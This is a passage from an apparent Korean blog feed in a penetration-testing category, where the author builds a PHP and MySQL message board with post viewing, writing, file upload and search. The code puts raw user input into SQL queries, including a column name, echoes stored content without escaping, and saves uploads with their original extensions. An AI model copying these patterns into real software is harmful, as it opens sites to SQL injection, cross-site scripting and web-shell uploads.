      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이제 작성한 글을 조회하는 창을 만들어보쟈&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;1197&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GvxJs/dJMcacB4tg8/ecybQ0wVf8nOi0CvpFGOe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GvxJs/dJMcacB4tg8/ecybQ0wVf8nOi0CvpFGOe0/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GvxJs/dJMcacB4tg8/ecybQ0wVf8nOi0CvpFGOe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGvxJs%2FdJMcacB4tg8%2FecybQ0wVf8nOi0CvpFGOe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1123&quot; height=&quot;1197&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;1197&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 리스트에서 제목 누르면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성된 글을 볼 수 있는 기능!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일이 있으면 파일도 볼 수 있고!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드도 받을 수 있다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ view.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771227503772&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include 'lib.php';
	$num = $_GET['num'];
	$sql = &quot;SELECT * FROM board LEFT JOIN file_upload ON board.file_id = file_upload.file_id WHERE num=$num&quot;;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	$num = $row['num'];
	mysqli_query($conn, &quot;UPDATE board SET count = count + 1 WHERE num = $num&quot;);
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;
		&amp;lt;?php echo $row['title']; ?&amp;gt;
	&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;?php
	if (isset($_SESSION['id'])) { ?&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;num&quot; value=&quot;&amp;lt;?php $row['num']; ?&amp;gt;&quot;&amp;gt;
&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;board.php&quot; style=&quot;text-decoration:none&quot;&amp;gt;게시판&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;
&amp;lt;table border=1&amp;gt;
	&amp;lt;tr&amp;gt;
		&amp;lt;td&amp;gt;제목&amp;lt;/td&amp;gt;
		&amp;lt;td&amp;gt;&amp;lt;?php echo $row['title']; ?&amp;gt;&amp;lt;/td&amp;gt;
	&amp;lt;/tr&amp;gt;
	&amp;lt;tr&amp;gt;
		&amp;lt;td&amp;gt;작성자&amp;lt;/td&amp;gt;
		&amp;lt;td width=600&amp;gt;&amp;lt;?php echo $row['name']; ?&amp;gt;&amp;lt;/td&amp;gt;
	&amp;lt;/tr&amp;gt;
	&amp;lt;tr&amp;gt;
		&amp;lt;td&amp;gt;작성일&amp;lt;/td&amp;gt;
		&amp;lt;td width=600&amp;gt;&amp;lt;?php echo $row['day']; ?&amp;gt;&amp;lt;/td&amp;gt;
	&amp;lt;/tr&amp;gt;
	&amp;lt;tr&amp;gt;
		&amp;lt;td&amp;gt;내용&amp;lt;/td&amp;gt;
		&amp;lt;td width=600 height=400&amp;gt;&amp;lt;?php echo $row['content']; ?&amp;gt;&amp;lt;/td&amp;gt;
	&amp;lt;/tr&amp;gt;
	&amp;lt;tr&amp;gt;
		&amp;lt;td&amp;gt;파일&amp;lt;/td&amp;gt;
		&amp;lt;td width=600&amp;gt;&amp;lt;a href=&quot;download.php?file=&amp;lt;?php echo $row['file_id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $row['file_name']; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
	&amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
&amp;lt;?php } else {
		echo &quot;&amp;lt;script&amp;gt;alert('회원만 접근할 수 있는 글입니다'); window.location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	}
	?&amp;gt;
&amp;lt;br&amp;gt;&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='board.php'&quot;&amp;gt;글 목록&amp;lt;/button&amp;gt;
&amp;lt;?php
if ($row['name']== $_SESSION['name'] ) { ?&amp;gt;
&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='update.php?num=&amp;lt;?php echo $row['num'] ?&amp;gt;'&quot;&amp;gt;수정하기&amp;lt;/button&amp;gt;
&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='delete.php?num=&amp;lt;?php echo $row['num'] ?&amp;gt;'&quot;&amp;gt;삭제하기&amp;lt;/button&amp;gt;	
&amp;lt;?php } else {}; ?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;file_upload 테이블과 board 테이블 조인해서 file_id가 같은 title, content 등 갖고오기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리구 view 한번 할때마다 count +1 해서 조회수 UPDATE&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것도 게시판과 마찬가지로 회원만 조회할 수 있도록 세션값이 없으면 index창으로 보내버렸다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 본인이 아니면 수정, 삭제 버튼이 아예 안뜨게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션값과 작성자 일치 여부 확인!&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/12</guid>
      <comments>https://songtoy.tistory.com/12#entry12comment</comments>
      <pubDate>Mon, 16 Feb 2026 16:43:33 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 게시글 작성 (+파일 업로드)</title>
      <link>https://songtoy.tistory.com/11</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;게시판을 보려면 게시글이 있어야지!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1180&quot; data-origin-height=&quot;1191&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqJOEv/dJMcaaqIFkO/pS2s0xKYteMKaSchTua8H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqJOEv/dJMcaaqIFkO/pS2s0xKYteMKaSchTua8H1/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqJOEv/dJMcaaqIFkO/pS2s0xKYteMKaSchTua8H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqJOEv%2FdJMcaaqIFkO%2FpS2s0xKYteMKaSchTua8H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1180&quot; height=&quot;1191&quot; data-origin-width=&quot;1180&quot; data-origin-height=&quot;1191&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름은 세션값으로 끌고온다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목하고 내용, 첨부파일이 있다면 첨부파일까지 다 DB로 넘기기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그 전에 파일 업로드를 위한 테이블 먼저 생성&lt;/p&gt;
&lt;pre id=&quot;code_1771227420070&quot; class=&quot;routeros&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE file_upload (
file_id VARCHAR(255) PRIMARY KEY,
file_name VARCHAR(255) NOT NULL,
file_save VARCHAR(255) NOT NULL,
up_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP);&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;file id는&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;게시물 작성할때 다른 파일을 중복된 이름으로 저장하면&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존에 저장돼있던 파일 위에 덮어씌워지기때문에 그런 오류를 방지하기 위해&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;랜덤값으로 이름을 저장하는데 그 이름을 저장하기 위한 컬럼이구&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;file name은&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;작성자가 게시할때 올린 첨부파일명을 저장하기 위한 컬럼&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;file save는 파일이 저장되는 경로명을 저장하기 위한 컬럼이다!&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ write.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771226357150&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
include 'lib.php';
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset='UTF-8'&amp;gt;
		&amp;lt;title&amp;gt;글쓰기&amp;lt;/title&amp;gt;
	&amp;lt;/head&amp;gt;
	
	&amp;lt;body&amp;gt;
		&amp;lt;form name=&quot;board&quot; method=&quot;POST&quot; action=&quot;writeok.php&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
		&amp;lt;table border=1&amp;gt;
		&amp;lt;tbody&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;이름&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;
					&amp;lt;?php 
						echo $_SESSION['name'];
					?&amp;gt;
				&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
			&amp;lt;?php
			if ($_SESSION['name'] == '관리자') { ?&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;구분&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;
					&amp;lt;select name=&quot;type&quot;&amp;gt;
						&amp;lt;option value=&quot;notice&quot;&amp;gt;공지사항&amp;lt;/option&amp;gt;
						&amp;lt;option value=&quot;content&quot;&amp;gt;일반글&amp;lt;/option&amp;gt;
					&amp;lt;/select&amp;gt;
				&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
			&amp;lt;?php } else {} ?&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;제목&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; style=&quot;width:700px&quot;&amp;gt;&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;내용&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;&amp;lt;textarea name=&quot;content&quot; style=&quot;width:700px; height: 500px;&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;파일&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;upload_file&quot;&amp;gt;&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
		&amp;lt;/tbody&amp;gt;
		&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;
		&amp;lt;input type=&quot;submit&quot; value=&quot;저장하기&quot;&amp;gt;
		&amp;lt;/form&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;아 그리고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성자가 '관리자'일 때는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공지사항으로 작성할건지, 일반글로 작성할건지 선택하는 것두 있슨..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;1239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bosJ5C/dJMcadVeoyG/kwxTSHdp5lib1soJnkA3D1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bosJ5C/dJMcadVeoyG/kwxTSHdp5lib1soJnkA3D1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bosJ5C/dJMcadVeoyG/kwxTSHdp5lib1soJnkA3D1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbosJ5C%2FdJMcadVeoyG%2FkwxTSHdp5lib1soJnkA3D1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1194&quot; height=&quot;1239&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;1239&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요로케요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(이건 관리자일때만 뜸)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암튼 이렇게 글을 작성하면&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글을 DB로 넘겨줘야겠죵&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ writeok.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771226546069&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;?php
include 'lib.php';
	
	$title = $_POST['title'];
	$content = $_POST['content'];
	$day = date(&quot;Y.m.d&quot;);
	$name = $_SESSION['name'];
	$type = isset($_POST['type']) ? $_POST['type'] : 'content';
	$notice = ($type == 'notice') ? 1 : 0;
	$file_id = NULL;

	if ($_FILES['upload_file'] != NULL ){
		$tmp_name = $_FILES['upload_file']['tmp_name'];
		$filename = $_FILES['upload_file']['name'];
		$error = $_FILES['upload_file']['error'];
		
		if ($error == 0) {
			
			$e = substr($filename, strrpos($filename, '.') + 1);
			$file_id = md5(uniqid(rand(), true));
			$path = $file_id.'.'.$e;
			
			$folder = &quot;./uploads/$path&quot;;
			move_uploaded_file($tmp_name, $folder);
			
			mysqli_query($conn, 
			&quot;INSERT INTO file_upload (file_id, file_name, file_save, up_time, notice) VALUES ('$file_id', '$filename', '$path', now(), '$notice');&quot;);
	}}
	
	$q = &quot;INSERT INTO board (name, title, content, day, count, file_id, notice) VALUES ('$name', '$title', '$content', '$day', 0, '$file_id', '$notice')&quot;;		
	$result = mysqli_query($conn, $q);
	
	if ($result) {
		echo &quot;&amp;lt;script&amp;gt;alert('글 작성 성공!'); window.location.href='board.php';&amp;lt;/script&amp;gt;&quot;;
		} else {
		echo &quot;글 작성 오류: &quot;.mysqli_error($conn);
		}
		
	mysqli_close($conn);
?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 진짜 어려웠는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계속 맞게 한거같은데 저장되는 파일명이 $filename 으로 되는거임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보니까&lt;/p&gt;
&lt;pre id=&quot;code_1771230680057&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$folder = './uploads/$path';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 해서.. 안되는거였당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터는 변수 해석 안하고 문자열 그대로 출력하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더블쿼터는 변수를 해석해서 변수 치환을 해준다고함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;큰따옴표로 바꿔주니까 파일 다운로드할때 파일명이 정상적으로 들어왔다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글고 아무리 공지사항으로 글을 작성해도 content로 넘어가!!!!!!!!!!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고보니 그 전에는 if문으로 &lt;br /&gt;file이 있으면..~ &quot;INSERT INTO 어쩌구&quot; else&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 if 써서 공지사항이면~ &quot;INSERT INTO 어쩌구....&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게했더니 코드가 자꾸 꼬여서 file있을때의 sql 쿼리에는 notice 컬럼 안넣구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 공지사항이 아닐때의 쿼리에도 notice 컬럼 빼먹고 이런식으로 복잡해져버려서ㅜㅜ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지피티의 도움을 받아서 삼항연산자 썼더니 코드도 간단해지구,,, 그랬어요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따봉 지피티야 고맙다~&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/11</guid>
      <comments>https://songtoy.tistory.com/11#entry11comment</comments>
      <pubDate>Mon, 16 Feb 2026 16:32:25 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 게시판 검색 기능</title>
      <link>https://songtoy.tistory.com/10</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1105&quot; data-origin-height=&quot;591&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b45gJb/dJMcadHHcFo/xxHKyYEVD8OTk7HShkrR61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b45gJb/dJMcadHHcFo/xxHKyYEVD8OTk7HShkrR61/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b45gJb/dJMcadHHcFo/xxHKyYEVD8OTk7HShkrR61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb45gJb%2FdJMcadHHcFo%2FxxHKyYEVD8OTk7HShkrR61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1105&quot; height=&quot;591&quot; data-origin-width=&quot;1105&quot; data-origin-height=&quot;591&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판에서 제목에 a라고 검색하면 a 게시물만 나오게!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ search.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771224637169&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
include 'lib.php'
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;게시판&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
	&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;board.php&quot; style=&quot;text-decoration:none&quot;&amp;gt;게시판&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;
	&amp;lt;table border=1&amp;gt;
		&amp;lt;thead&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;th width=50&amp;gt;번호&amp;lt;/th&amp;gt;
				&amp;lt;th width=400&amp;gt;제목&amp;lt;/th&amp;gt;
				&amp;lt;th width=80&amp;gt;작성자&amp;lt;/th&amp;gt;
				&amp;lt;th width=100&amp;gt;작성일&amp;lt;/th&amp;gt;
				&amp;lt;th width=50&amp;gt;조회수&amp;lt;/th&amp;gt;
			&amp;lt;/tr&amp;gt;
		&amp;lt;/thead&amp;gt;
		&amp;lt;tbody&amp;gt;
			&amp;lt;?php
				$search = $_POST['search'];
				$type = $_POST['type'];
				$sql = &quot;SELECT * FROM board WHERE $type = '$search' ORDER BY num DESC;&quot;;
				$result = mysqli_query($conn, $sql);
				
				while($row = mysqli_fetch_assoc($result)) {
					echo &quot;&amp;lt;tr&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['num'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&amp;lt;a href='view.php?num=&quot;.$row['num'].&quot;'&amp;gt;&quot;.$row['title'].&quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['name'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['day'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['count'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;/tr&amp;gt;&quot;;
					}
				
				mysqli_close($conn);
			?&amp;gt;
		&amp;lt;/tbody&amp;gt;
	&amp;lt;/table&amp;gt;
	&amp;lt;br&amp;gt;
	&amp;lt;form method=&quot;POST&quot; action=&quot;search.php&quot;&amp;gt;
	&amp;lt;select name=&quot;type&quot;&amp;gt;
		&amp;lt;option value=&quot;title&quot;&amp;gt;제목&amp;lt;/option&amp;gt;
		&amp;lt;option value=&quot;name&quot;&amp;gt;작성자&amp;lt;/option&amp;gt;
	&amp;lt;/select&amp;gt;
	&amp;lt;input type=&quot;text&quot; name=&quot;search&quot; style=&quot;width:570px&quot;&amp;gt;
	&amp;lt;input type=&quot;submit&quot; value=&quot;검색하기&quot;&amp;gt;
	&amp;lt;/form&amp;gt;
	&amp;lt;br&amp;gt;
	&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='write.php'&quot;&amp;gt;글 작성&amp;lt;/button&amp;gt;
	&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='index.php'&quot;&amp;gt;메인화면&amp;lt;/button&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 지금 보니까 검색어랑 정확하게 일치를 해야 검색해주네여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한글자만 들어가도 검색될수있게 바꿔야겠당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼&lt;/p&gt;
&lt;pre id=&quot;code_1771224735990&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM board WHERE $type = '$search' ORDER BY num DESC;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구문을&lt;/p&gt;
&lt;pre id=&quot;code_1771224826852&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM board WHERE $type = '%$search%' ORDER BY num DESC;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 바꾸면되려나?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안되네&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾아보니까 =가 아니구 like를 써야했다 ㅎㅎ;ㅎㅎ;ㅎ;ㅎ;ㅎㅎㅎ;;ㅎ;ㅎ;ㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;855&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lJD9T/dJMcadHHc0s/X4eCbaA38gdbrUFJNtrQq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lJD9T/dJMcadHHc0s/X4eCbaA38gdbrUFJNtrQq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lJD9T/dJMcadHHc0s/X4eCbaA38gdbrUFJNtrQq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlJD9T%2FdJMcadHHc0s%2FX4eCbaA38gdbrUFJNtrQq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 